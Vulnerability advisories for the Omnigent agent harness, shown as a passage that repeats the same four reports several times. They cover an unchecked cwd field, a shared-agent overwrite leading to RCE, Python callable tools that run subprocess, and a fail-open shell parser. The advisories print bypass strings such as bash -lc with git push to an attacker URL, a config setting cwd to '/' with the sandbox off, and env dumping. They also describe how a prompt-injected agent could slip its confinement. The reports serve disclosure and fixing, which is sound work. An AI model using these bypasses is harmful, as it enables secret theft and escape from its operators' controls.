2. On a runner without OMNIGENT_RUNNER_WORKSPACE, the agent's sys_os_read/write/edit/shell tools now operate over the whole host filesystem, and (sandbox inactive) inherit the runner's full environment — exposing host secrets via e.g. sys_os_shell("env").

Impact

Arbitrary host-filesystem read/write and runner-environment secret disclosure, available to any authenticated user on an affected deployment. High severity (deployment-conditional).

Suggested fix

Add a control on the cwd field itself in omnigent/spec/_validate_os_env (and/or at parse): reject absolute paths and .. traversal, and require cwd to resolve within the runner workspace / an allow-listed root. Do not rely on OMNIGENT_RUNNER_WORKSPACE being set as the sole defense. Consider also disallowing bundle-author sandbox.type: none for server-realized (non-CLI) sessions.

Related

GHSA-jrrm-9hc7-2v3h (same bundle-upload vector, different sink; that fix does not cover this).

Summary

An authenticated user with edit access to their own session can overwrite a shared/template agent by uploading a full agent bundle through PUT /sessions/{session_id}/agent.

Shared/template agents are shown as not MCP-editable, but this upload path still accepts a replacement bundle. By adding a stdio MCP server to the shared agent, the attacker can cause future runner sessions using that shared agent to start an attacker-controlled command.

Details

The vulnerable endpoint is the full agent bundle upload route: PUT /sessions/{session_id}/agent This route checks whether the caller can edit the session: LEVEL_EDIT session permission check But it does not check whether the bound agent is a shared/template agent. Shared/template agents have:

agent.session_id is None

The API already exposes that these agents are not meant to be MCP-editable: mcp_servers_editable is false for shared/template agents The direct MCP edit endpoint correctly blocks shared/template agents: session_mcp_servers.py shared-agent guard

if agent.session_id is None:
    raise OmnigentError("Built-in agents are read-only through this endpoint.")

The full bundle upload endpoint is missing that same guard. It stores the uploaded bundle and updates the agent row: agent_store.update(agent.id, new_loc) For shared/template agents, this changes the shared agent itself, not only the attacker's session. This becomes command execution because stdio MCP servers start the configured command as a runner subprocess: tools/mcp.py stdio subprocess launch

Suggested fix: add the same agent.session_id is None guard to PUT /sessions/{session_id}/agent.

Impact

This is authenticated RCE against Omnigent runner hosts. A normal authenticated user with edit access to their own session can poison a shared/template agent bundle, even though that agent is shown as not MCP-editable. The poisoned bundle can then be used by future sessions created from the same shared agent.

Because stdio MCP servers run as local subprocesses, the attacker-controlled command executes with the permissions of the Omnigent runner process. In a shared or company-hosted deployment, this can let an attacker read runner-accessible files and credentials, modify workspace data, disrupt runner availability, pivot to internal services reachable from the runner, or establish an interactive remote shell if outbound networking is allowed.

This is high impact because it turns normal shared-agent session access into command execution on runner infrastructure used by other sessions.

Summary

An authenticated user can upload a crafted agent bundle that defines a server-side Python callable tool. The server validates the uploaded bundle, but it does not block dangerous callable: paths in untrusted user-provided agent configs.

When the tool is invoked, the runner imports and executes that Python callable. A crafted bundle can point the tool at subprocess.check_output, which lets the attacker run a local command on the runner machine.

This is serious because hosted Omnigent deployments can have multiple users and shared or managed runner hosts. A normal logged-in user should not be able to make the runner execute arbitrary local commands.

Details

The uploaded bundle path is reachable through session creation. Omnigent supports custom agent bundles through multipart POST /v1/sessions; the Web UI uses this same endpoint for custom agents:

Create custom agent builds and uploads a bundle
createBundledSession posts the bundle to /v1/sessions

A crafted bundle can also be submitted directly through the API/CLI when creating a session from agent YAML. The PoC below uses this direct bundle shape so the vulnerable trust boundary is easy to reproduce.

On the server, uploaded bundles are validated here: validate_agent_bundle

The validator already treats uploaded bundles as untrusted in some ways. For example, it disables server-side environment expansion and can enforce a policy-handler allowlist:

spec = load(
    bundle_bytes,
    dest=Path(tmpdir) / "agent",
    expand_env=False,
    enforce_handler_allowlist=enforce_handler_allowlist,
)

However, the same validation does not reject tools.<name>.callable entries in an uploaded agent bundle. Python callable tools are an intended trusted/operator feature, but the upload path accepts them from tenant-provided bundles too.

The docs describe server-side Python callable tools here: Python function tool docs
Later, the runner resolves and executes those callables: _resolve_spec_callable imports the dotted path

mod = importlib.import_module(module_name)
fn = getattr(mod, attr_name, None)

_execute_spec_callable_tool calls the resolved function

result = await asyncio.to_thread(resolved, **args)

The high-level tool dispatcher falls back to this callable execution path: execute_tool callable fallback

output = await _execute_spec_callable_tool(tool_name, args, agent_spec=agent_spec)

The problem is the trust boundary. Python callables are a trusted local developer feature, but uploaded agent bundles can be user-controlled in a hosted/multi-user server. The upload validator blocks some trusted-only policy behavior, but it does not block trusted-only tool callables.

Suggested fix: when validating HTTP-uploaded bundles on a shared/multi-user server, reject server-side Python callable tools unless they are explicitly allowlisted by the operator. A conservative fix would reject callable: tool paths for tenant-uploaded bundles, while keeping trusted local/operator-authored configs working.

Impact

This is authenticated RCE against the Omnigent runner environment. A normal authenticated user who can upload or create a custom agent bundle can declare a server-side Python callable and have the runner import and execute it.

Because the callable runs inside the runner process, the attacker-controlled code runs with the runner's permissions. In a hosted or multi-user deployment, this can expose runner-accessible files, environment variables, credentials, workspace data, internal services reachable from the runner, and runner availability.

This is high impact because it crosses the boundary from "upload an agent config" to "execute local code on shared runner infrastructure" without requiring admin/operator access.

Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

• git push to an attacker-controlled repo (code / secret exfiltration),
• push to a protected branch,
• escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

• Combined interpreter flags: bash -lc "git push <attacker-url>"
• Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
• Command substitution: x=$(git push <attacker-url>)
• Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.

Summary

An authenticated, non-admin user can obtain arbitrary host-filesystem read/write (and host environment-secret disclosure) on an Omnigent runner by uploading an agent bundle whose os_env.cwd points outside any intended workspace (e.g. / or /home/<victim>). The cwd field is taken verbatim from the bundle with no validation, normalization, or boundary check anywhere in the spec pipeline.

This is a different sink from GHSA-jrrm-9hc7-2v3h (CWE-94, shared-agent bundle overwrite -> stdio MCP RCE). It shares the bundle-upload vector but is reached through the user's own session-scoped agent and is not addressed by that advisory's proposed shared-agent guard.

Preconditions

• Runner realizes a session-scoped uploaded bundle without OMNIGENT_RUNNER_WORKSPACE set. When that env var is set (CLI- and host-launched sessions set it), the spec cwd is overridden and the attack is neutralized — so this is deployment-gated, not universal.
• Attacker is any authenticated user (no admin scope; _require_user only checks identity). No shared-agent overwrite needed.

Details (verified against code)

1. Parse — no validation. omnigent/spec/parser.py:696 stores cwd=str(cwd_raw) verbatim. Absolute paths (/, /etc), ../.., etc. are all accepted. The sandbox.type is likewise author-chosen and "none" is legal.
2. Validate — cwd unconstrained. omnigent/spec/validator.py _validate_os_env checks only fork/scratch/egress combinations; it never references cwd (the sole mention, line ~526, is a comment). No boundary is applied to the cwd itself. The boundary in server/schemas.py validates a caller-supplied workspace against the spec cwd (treating the author cwd as trusted) and only for host-launched sessions — it does not bound the cwd.
3. Sink. omnigent/inner/os_env.py:890 sets cwd = Path(spec.cwd or os.getcwd()).resolve(strict=False) as the environment root; os_env.py:934 does shutil.copytree(src=cwd, ...) when fork=true. All agent file/shell tools are bounded by _assert_within_cwd (os_env.py:1040), which checks resolved.relative_to(cwd) — but since cwd is attacker-controlled, cwd=/ makes the entire host filesystem in-bounds for read and write; fork=true with cwd=/home/victim copies that tree into the agent-readable workspace.
4. Decisive gate. omnigent/runner/resource_registry.py:648-654: cwd = default_cwd only when self._runner_workspace is not None or spec_os_env.cwd in (None, ".", "./"); otherwise cwd = spec_os_env.cwd (the attacker's absolute path). So OMNIGENT_RUNNER_WORKSPACE is the only thing standing between the spec and the host FS — and it is an operational control, not an in-code guard. A code comment at tool_dispatch.py:~4207 claims cwd "is treated as a boundary at session-create time," which is not true on this path.

Attack path

1. Authenticated user sends POST /v1/sessions (multipart) with an agent bundle whose config.yaml contains:

   os_env:
     cwd: "/"            # or /home/<victim>, with fork: true for one-shot exfil
     sandbox: { type: none }
   

2. On a runner without OMNIGENT_RUNNER_WORKSPACE, the agent's sys_os_read/write/edit/shell tools now operate over the whole host filesystem, and (sandbox inactive) inherit the runner's full environment — exposing host secrets via e.g. sys_os_shell("env").

Impact

Arbitrary host-filesystem read/write and runner-environment secret disclosure, available to any authenticated user on an affected deployment. High severity (deployment-conditional).

Suggested fix

Add a control on the cwd field itself in omnigent/spec/_validate_os_env (and/or at parse): reject absolute paths and .. traversal, and require cwd to resolve within the runner workspace / an allow-listed root. Do not rely on OMNIGENT_RUNNER_WORKSPACE being set as the sole defense. Consider also disallowing bundle-author sandbox.type: none for server-realized (non-CLI) sessions.

Related

GHSA-jrrm-9hc7-2v3h (same bundle-upload vector, different sink; that fix does not cover this).

Summary

An authenticated user with edit access to their own session can overwrite a shared/template agent by uploading a full agent bundle through PUT /sessions/{session_id}/agent.

Shared/template agents are shown as not MCP-editable, but this upload path still accepts a replacement bundle. By adding a stdio MCP server to the shared agent, the attacker can cause future runner sessions using that shared agent to start an attacker-controlled command.

Details

The vulnerable endpoint is the full agent bundle upload route: PUT /sessions/{session_id}/agent This route checks whether the caller can edit the session: LEVEL_EDIT session permission check But it does not check whether the bound agent is a shared/template agent. Shared/template agents have:

agent.session_id is None

The API already exposes that these agents are not meant to be MCP-editable: mcp_servers_editable is false for shared/template agents The direct MCP edit endpoint correctly blocks shared/template agents: session_mcp_servers.py shared-agent guard

if agent.session_id is None:
    raise OmnigentError("Built-in agents are read-only through this endpoint.")

The full bundle upload endpoint is missing that same guard. It stores the uploaded bundle and updates the agent row: agent_store.update(agent.id, new_loc) For shared/template agents, this changes the shared agent itself, not only the attacker's session. This becomes command execution because stdio MCP servers start the configured command as a runner subprocess: tools/mcp.py stdio subprocess launch

Suggested fix: add the same agent.session_id is None guard to PUT /sessions/{session_id}/agent.

Impact

This is authenticated RCE against Omnigent runner hosts. A normal authenticated user with edit access to their own session can poison a shared/template agent bundle, even though that agent is shown as not MCP-editable. The poisoned bundle can then be used by future sessions created from the same shared agent.

Because stdio MCP servers run as local subprocesses, the attacker-controlled command executes with the permissions of the Omnigent runner process. In a shared or company-hosted deployment, this can let an attacker read runner-accessible files and credentials, modify workspace data, disrupt runner availability, pivot to internal services reachable from the runner, or establish an interactive remote shell if outbound networking is allowed.

This is high impact because it turns normal shared-agent session access into command execution on runner infrastructure used by other sessions.

Summary

An authenticated user can upload a crafted agent bundle that defines a server-side Python callable tool. The server validates the uploaded bundle, but it does not block dangerous callable: paths in untrusted user-provided agent configs.

When the tool is invoked, the runner imports and executes that Python callable. A crafted bundle can point the tool at subprocess.check_output, which lets the attacker run a local command on the runner machine.

This is serious because hosted Omnigent deployments can have multiple users and shared or managed runner hosts. A normal logged-in user should not be able to make the runner execute arbitrary local commands.

Details

The uploaded bundle path is reachable through session creation. Omnigent supports custom agent bundles through multipart POST /v1/sessions; the Web UI uses this same endpoint for custom agents:

Create custom agent builds and uploads a bundle
createBundledSession posts the bundle to /v1/sessions

A crafted bundle can also be submitted directly through the API/CLI when creating a session from agent YAML. The PoC below uses this direct bundle shape so the vulnerable trust boundary is easy to reproduce.

On the server, uploaded bundles are validated here: validate_agent_bundle

The validator already treats uploaded bundles as untrusted in some ways. For example, it disables server-side environment expansion and can enforce a policy-handler allowlist:

spec = load(
    bundle_bytes,
    dest=Path(tmpdir) / "agent",
    expand_env=False,
    enforce_handler_allowlist=enforce_handler_allowlist,
)

However, the same validation does not reject tools.<name>.callable entries in an uploaded agent bundle. Python callable tools are an intended trusted/operator feature, but the upload path accepts them from tenant-provided bundles too.

The docs describe server-side Python callable tools here: Python function tool docs
Later, the runner resolves and executes those callables: _resolve_spec_callable imports the dotted path

mod = importlib.import_module(module_name)
fn = getattr(mod, attr_name, None)

_execute_spec_callable_tool calls the resolved function

result = await asyncio.to_thread(resolved, **args)

The high-level tool dispatcher falls back to this callable execution path: execute_tool callable fallback

output = await _execute_spec_callable_tool(tool_name, args, agent_spec=agent_spec)

The problem is the trust boundary. Python callables are a trusted local developer feature, but uploaded agent bundles can be user-controlled in a hosted/multi-user server. The upload validator blocks some trusted-only policy behavior, but it does not block trusted-only tool callables.

Suggested fix: when validating HTTP-uploaded bundles on a shared/multi-user server, reject server-side Python callable tools unless they are explicitly allowlisted by the operator. A conservative fix would reject callable: tool paths for tenant-uploaded bundles, while keeping trusted local/operator-authored configs working.

Impact

This is authenticated RCE against the Omnigent runner environment. A normal authenticated user who can upload or create a custom agent bundle can declare a server-side Python callable and have the runner import and execute it.

Because the callable runs inside the runner process, the attacker-controlled code runs with the runner's permissions. In a hosted or multi-user deployment, this can expose runner-accessible files, environment variables, credentials, workspace data, internal services reachable from the runner, and runner availability.

This is high impact because it crosses the boundary from "upload an agent config" to "execute local code on shared runner infrastructure" without requiring admin/operator access.

Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

• git push to an attacker-controlled repo (code / secret exfiltration),
• push to a protected branch,
• escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

• Combined interpreter flags: bash -lc "git push <attacker-url>"
• Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
• Command substitution: x=$(git push <attacker-url>)
• Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.

Summary

An authenticated, non-admin user can obtain arbitrary host-filesystem read/write (and host environment-secret disclosure) on an Omnigent runner by uploading an agent bundle whose os_env.cwd points outside any intended workspace (e.g. / or /home/<victim>). The cwd field is taken verbatim from the bundle with no validation, normalization, or boundary check anywhere in the spec pipeline.

This is a different sink from GHSA-jrrm-9hc7-2v3h (CWE-94, shared-agent bundle overwrite -> stdio MCP RCE). It shares the bundle-upload vector but is reached through the user's own session-scoped agent and is not addressed by that advisory's proposed shared-agent guard.

Preconditions

• Runner realizes a session-scoped uploaded bundle without OMNIGENT_RUNNER_WORKSPACE set. When that env var is set (CLI- and host-launched sessions set it), the spec cwd is overridden and the attack is neutralized — so this is deployment-gated, not universal.
• Attacker is any authenticated user (no admin scope; _require_user only checks identity). No shared-agent overwrite needed.

Details (verified against code)

1. Parse — no validation. omnigent/spec/parser.py:696 stores cwd=str(cwd_raw) verbatim. Absolute paths (/, /etc), ../.., etc. are all accepted. The sandbox.type is likewise author-chosen and "none" is legal.
2. Validate — cwd unconstrained. omnigent/spec/validator.py _validate_os_env checks only fork/scratch/egress combinations; it never references cwd (the sole mention, line ~526, is a comment). No boundary is applied to the cwd itself. The boundary in server/schemas.py validates a caller-supplied workspace against the spec cwd (treating the author cwd as trusted) and only for host-launched sessions — it does not bound the cwd.
3. Sink. omnigent/inner/os_env.py:890 sets cwd = Path(spec.cwd or os.getcwd()).resolve(strict=False) as the environment root; os_env.py:934 does shutil.copytree(src=cwd, ...) when fork=true. All agent file/shell tools are bounded by _assert_within_cwd (os_env.py:1040), which checks resolved.relative_to(cwd) — but since cwd is attacker-controlled, cwd=/ makes the entire host filesystem in-bounds for read and write; fork=true with cwd=/home/victim copies that tree into the agent-readable workspace.
4. Decisive gate. omnigent/runner/resource_registry.py:648-654: cwd = default_cwd only when self._runner_workspace is not None or spec_os_env.cwd in (None, ".", "./"); otherwise cwd = spec_os_env.cwd (the attacker's absolute path). So OMNIGENT_RUNNER_WORKSPACE is the only thing standing between the spec and the host FS — and it is an operational control, not an in-code guard. A code comment at tool_dispatch.py:~4207 claims cwd "is treated as a boundary at session-create time," which is not true on this path.

Attack path

1. Authenticated user sends POST /v1/sessions (multipart) with an agent bundle whose config.yaml contains:

   os_env:
     cwd: "/"            # or /home/<victim>, with fork: true for one-shot exfil
     sandbox: { type: none }
   

2. On a runner without OMNIGENT_RUNNER_WORKSPACE, the agent's sys_os_read/write/edit/shell tools now operate over the whole host filesystem, and (sandbox inactive) inherit the runner's full environment — exposing host secrets via e.g. sys_os_shell("env").

Impact

Arbitrary host-filesystem read/write and runner-environment secret disclosure, available to any authenticated user on an affected deployment. High severity (deployment-conditional).

Suggested fix

Add a control on the cwd field itself in omnigent/spec/_validate_os_env (and/or at parse): reject absolute paths and .. traversal, and require cwd to resolve within the runner workspace / an allow-listed root. Do not rely on OMNIGENT_RUNNER_WORKSPACE being set as the sole defense. Consider also disallowing bundle-author sandbox.type: none for server-realized (non-CLI) sessions.

Related

GHSA-jrrm-9hc7-2v3h (same bundle-upload vector, different sink; that fix does not cover this).

Summary

An authenticated user with edit access to their own session can overwrite a shared/template agent by uploading a full agent bundle through PUT /sessions/{session_id}/agent.

Shared/template agents are shown as not MCP-editable, but this upload path still accepts a replacement bundle. By adding a stdio MCP server to the shared agent, the attacker can cause future runner sessions using that shared agent to start an attacker-controlled command.

Details

The vulnerable endpoint is the full agent bundle upload route: PUT /sessions/{session_id}/agent This route checks whether the caller can edit the session: LEVEL_EDIT session permission check But it does not check whether the bound agent is a shared/template agent. Shared/template agents have:

agent.session_id is None

The API already exposes that these agents are not meant to be MCP-editable: mcp_servers_editable is false for shared/template agents The direct MCP edit endpoint correctly blocks shared/template agents: session_mcp_servers.py shared-agent guard

if agent.session_id is None:
    raise OmnigentError("Built-in agents are read-only through this endpoint.")

The full bundle upload endpoint is missing that same guard. It stores the uploaded bundle and updates the agent row: agent_store.update(agent.id, new_loc) For shared/template agents, this changes the shared agent itself, not only the attacker's session. This becomes command execution because stdio MCP servers start the configured command as a runner subprocess: tools/mcp.py stdio subprocess launch

Suggested fix: add the same agent.session_id is None guard to PUT /sessions/{session_id}/agent.

Impact

This is authenticated RCE against Omnigent runner hosts. A normal authenticated user with edit access to their own session can poison a shared/template agent bundle, even though that agent is shown as not MCP-editable. The poisoned bundle can then be used by future sessions created from the same shared agent.

Because stdio MCP servers run as local subprocesses, the attacker-controlled command executes with the permissions of the Omnigent runner process. In a shared or company-hosted deployment, this can let an attacker read runner-accessible files and credentials, modify workspace data, disrupt runner availability, pivot to internal services reachable from the runner, or establish an interactive remote shell if outbound networking is allowed.

This is high impact because it turns normal shared-agent session access into command execution on runner infrastructure used by other sessions.

Summary

An authenticated user can upload a crafted agent bundle that defines a server-side Python callable tool. The server validates the uploaded bundle, but it does not block dangerous callable: paths in untrusted user-provided agent configs.

When the tool is invoked, the runner imports and executes that Python callable. A crafted bundle can point the tool at subprocess.check_output, which lets the attacker run a local command on the runner machine.

This is serious because hosted Omnigent deployments can have multiple users and shared or managed runner hosts. A normal logged-in user should not be able to make the runner execute arbitrary local commands.

Details

The uploaded bundle path is reachable through session creation. Omnigent supports custom agent bundles through multipart POST /v1/sessions; the Web UI uses this same endpoint for custom agents:

Create custom agent builds and uploads a bundle
createBundledSession posts the bundle to /v1/sessions

A crafted bundle can also be submitted directly through the API/CLI when creating a session from agent YAML. The PoC below uses this direct bundle shape so the vulnerable trust boundary is easy to reproduce.

On the server, uploaded bundles are validated here: validate_agent_bundle

The validator already treats uploaded bundles as untrusted in some ways. For example, it disables server-side environment expansion and can enforce a policy-handler allowlist:

spec = load(
    bundle_bytes,
    dest=Path(tmpdir) / "agent",
    expand_env=False,
    enforce_handler_allowlist=enforce_handler_allowlist,
)

However, the same validation does not reject tools.<name>.callable entries in an uploaded agent bundle. Python callable tools are an intended trusted/operator feature, but the upload path accepts them from tenant-provided bundles too.

The docs describe server-side Python callable tools here: Python function tool docs
Later, the runner resolves and executes those callables: _resolve_spec_callable imports the dotted path

mod = importlib.import_module(module_name)
fn = getattr(mod, attr_name, None)

_execute_spec_callable_tool calls the resolved function

result = await asyncio.to_thread(resolved, **args)

The high-level tool dispatcher falls back to this callable execution path: execute_tool callable fallback

output = await _execute_spec_callable_tool(tool_name, args, agent_spec=agent_spec)

The problem is the trust boundary. Python callables are a trusted local developer feature, but uploaded agent bundles can be user-controlled in a hosted/multi-user server. The upload validator blocks some trusted-only policy behavior, but it does not block trusted-only tool callables.

Suggested fix: when validating HTTP-uploaded bundles on a shared/multi-user server, reject server-side Python callable tools unless they are explicitly allowlisted by the operator. A conservative fix would reject callable: tool paths for tenant-uploaded bundles, while keeping trusted local/operator-authored configs working.

Impact

This is authenticated RCE against the Omnigent runner environment. A normal authenticated user who can upload or create a custom agent bundle can declare a server-side Python callable and have the runner import and execute it.

Because the callable runs inside the runner process, the attacker-controlled code runs with the runner's permissions. In a hosted or multi-user deployment, this can expose runner-accessible files, environment variables, credentials, workspace data, internal services reachable from the runner, and runner availability.

This is high impact because it crosses the boundary from "upload an agent config" to "execute local code on shared runner infrastructure" without requiring admin/operator access.

Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

• git push to an attacker-controlled repo (code / secret exfiltration),
• push to a protected branch,
• escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

• Combined interpreter flags: bash -lc "git push <attacker-url>"
• Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
• Command substitution: x=$(git push <attacker-url>)
• Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.

Summary

An authenticated, non-admin user can obtain arbitrary host-filesystem read/write (and host environment-secret disclosure) on an Omnigent runner by uploading an agent bundle whose os_env.cwd points outside any intended workspace (e.g. / or /home/<victim>). The cwd field is taken verbatim from the bundle with no validation, normalization, or boundary check anywhere in the spec pipeline.

This is a different sink from GHSA-jrrm-9hc7-2v3h (CWE-94, shared-agent bundle overwrite -> stdio MCP RCE). It shares the bundle-upload vector but is reached through the user's own session-scoped agent and is not addressed by that advisory's proposed shared-agent guard.

Preconditions

• Runner realizes a session-scoped uploaded bundle without OMNIGENT_RUNNER_WORKSPACE set. When that env var is set (CLI- and host-launched sessions set it), the spec cwd is overridden and the attack is neutralized — so this is deployment-gated, not universal.
• Attacker is any authenticated user (no admin scope; _require_user only checks identity). No shared-agent overwrite needed.

Details (verified against code)

1. Parse — no validation. omnigent/spec/parser.py:696 stores cwd=str(cwd_raw) verbatim. Absolute paths (/, /etc), ../.., etc. are all accepted. The sandbox.type is likewise author-chosen and "none" is legal.
2. Validate — cwd unconstrained. omnigent/spec/validator.py _validate_os_env checks only fork/scratch/egress combinations; it never references cwd (the sole mention, line ~526, is a comment). No boundary is applied to the cwd itself. The boundary in server/schemas.py validates a caller-supplied workspace against the spec cwd (treating the author cwd as trusted) and only for host-launched sessions — it does not bound the cwd.
3. Sink. omnigent/inner/os_env.py:890 sets cwd = Path(spec.cwd or os.getcwd()).resolve(strict=False) as the environment root; os_env.py:934 does shutil.copytree(src=cwd, ...) when fork=true. All agent file/shell tools are bounded by _assert_within_cwd (os_env.py:1040), which checks resolved.relative_to(cwd) — but since cwd is attacker-controlled, cwd=/ makes the entire host filesystem in-bounds for read and write; fork=true with cwd=/home/victim copies that tree into the agent-readable workspace.
4. Decisive gate. omnigent/runner/resource_registry.py:648-654: cwd = default_cwd only when self._runner_workspace is not None or spec_os_env.cwd in (None, ".", "./"); otherwise cwd = spec_os_env.cwd (the attacker's absolute path). So OMNIGENT_RUNNER_WORKSPACE is the only thing standing between the spec and the host FS — and it is an operational control, not an in-code guard. A code comment at tool_dispatch.py:~4207 claims cwd "is treated as a boundary at session-create time," which is not true on this path.

Attack path

1. Authenticated user sends POST /v1/sessions (multipart) with an agent bundle whose config.yaml contains:

   os_env:
     cwd: "/"            # or /home/<victim>, with fork: true for one-shot exfil
     sandbox: { type: none }
   

2. On a runner without OMNIGENT_RUNNER_WORKSPACE, the agent's sys_os_read/write/edit/shell tools now operate over the whole host filesystem, and (sandbox inactive) inherit the runner's full environment — exposing host secrets via e.g. sys_os_shell("env").

Impact

Arbitrary host-filesystem read/write and runner-environment secret disclosure, available to any authenticated user on an affected deployment. High severity (deployment-conditional).

Suggested fix

Add a control on the cwd field itself in omnigent/spec/_validate_os_env (and/or at parse): reject absolute paths and .. traversal, and require cwd to resolve within the runner workspace / an allow-listed root. Do not rely on OMNIGENT_RUNNER_WORKSPACE being set as the sole defense. Consider also disallowing bundle-author sandbox.type: none for server-realized (non-CLI) sessions.

Related

GHSA-jrrm-9hc7-2v3h (same bundle-upload vector, different sink; that fix does not cover this).

Summary

An authenticated user with edit access to their own session can overwrite a shared/template agent by uploading a full agent bundle through PUT /sessions/{session_id}/agent.

Shared/template agents are shown as not MCP-editable, but this upload path still accepts a replacement bundle. By adding a stdio MCP server to the shared agent, the attacker can cause future runner sessions using that shared agent to start an attacker-controlled command.

Details

The vulnerable endpoint is the full agent bundle upload route: PUT /sessions/{session_id}/agent This route checks whether the caller can edit the session: LEVEL_EDIT session permission check But it does not check whether the bound agent is a shared/template agent. Shared/template agents have:

agent.session_id is None

The API already exposes that these agents are not meant to be MCP-editable: mcp_servers_editable is false for shared/template agents The direct MCP edit endpoint correctly blocks shared/template agents: session_mcp_servers.py shared-agent guard

if agent.session_id is None:
    raise OmnigentError("Built-in agents are read-only through this endpoint.")

The full bundle upload endpoint is missing that same guard. It stores the uploaded bundle and updates the agent row: agent_store.update(agent.id, new_loc) For shared/template agents, this changes the shared agent itself, not only the attacker's session. This becomes command execution because stdio MCP servers start the configured command as a runner subprocess: tools/mcp.py stdio subprocess launch

Suggested fix: add the same agent.session_id is None guard to PUT /sessions/{session_id}/agent.

Impact

This is authenticated RCE against Omnigent runner hosts. A normal authenticated user with edit access to their own session can poison a shared/template agent bundle, even though that agent is shown as not MCP-editable. The poisoned bundle can then be used by future sessions created from the same shared agent.

Because stdio MCP servers run as local subprocesses, the attacker-controlled command executes with the permissions of the Omnigent runner process. In a shared or company-hosted deployment, this can let an attacker read runner-accessible files and credentials, modify workspace data, disrupt runner availability, pivot to internal services reachable from the runner, or establish an interactive remote shell if outbound networking is allowed.

This is high impact because it turns normal shared-agent session access into command execution on runner infrastructure used by other sessions.

Summary

An authenticated user can upload a crafted agent bundle that defines a server-side Python callable tool. The server validates the uploaded bundle, but it does not block dangerous callable: paths in untrusted user-provided agent configs.

When the tool is invoked, the runner imports and executes that Python callable. A crafted bundle can point the tool at subprocess.check_output, which lets the attacker run a local command on the runner machine.

This is serious because hosted Omnigent deployments can have multiple users and shared or managed runner hosts. A normal logged-in user should not be able to make the runner execute arbitrary local commands.

Details

The uploaded bundle path is reachable through session creation. Omnigent supports custom agent bundles through multipart POST /v1/sessions; the Web UI uses this same endpoint for custom agents:

Create custom agent builds and uploads a bundle
createBundledSession posts the bundle to /v1/sessions

A crafted bundle can also be submitted directly through the API/CLI when creating a session from agent YAML. The PoC below uses this direct bundle shape so the vulnerable trust boundary is easy to reproduce.

On the server, uploaded bundles are validated here: validate_agent_bundle

The validator already treats uploaded bundles as untrusted in some ways. For example, it disables server-side environment expansion and can enforce a policy-handler allowlist:

spec = load(
    bundle_bytes,
    dest=Path(tmpdir) / "agent",
    expand_env=False,
    enforce_handler_allowlist=enforce_handler_allowlist,
)

However, the same validation does not reject tools.<name>.callable entries in an uploaded agent bundle. Python callable tools are an intended trusted/operator feature, but the upload path accepts them from tenant-provided bundles too.

The docs describe server-side Python callable tools here: Python function tool docs
Later, the runner resolves and executes those callables: _resolve_spec_callable imports the dotted path

mod = importlib.import_module(module_name)
fn = getattr(mod, attr_name, None)

_execute_spec_callable_tool calls the resolved function

result = await asyncio.to_thread(resolved, **args)

The high-level tool dispatcher falls back to this callable execution path: execute_tool callable fallback

output = await _execute_spec_callable_tool(tool_name, args, agent_spec=agent_spec)

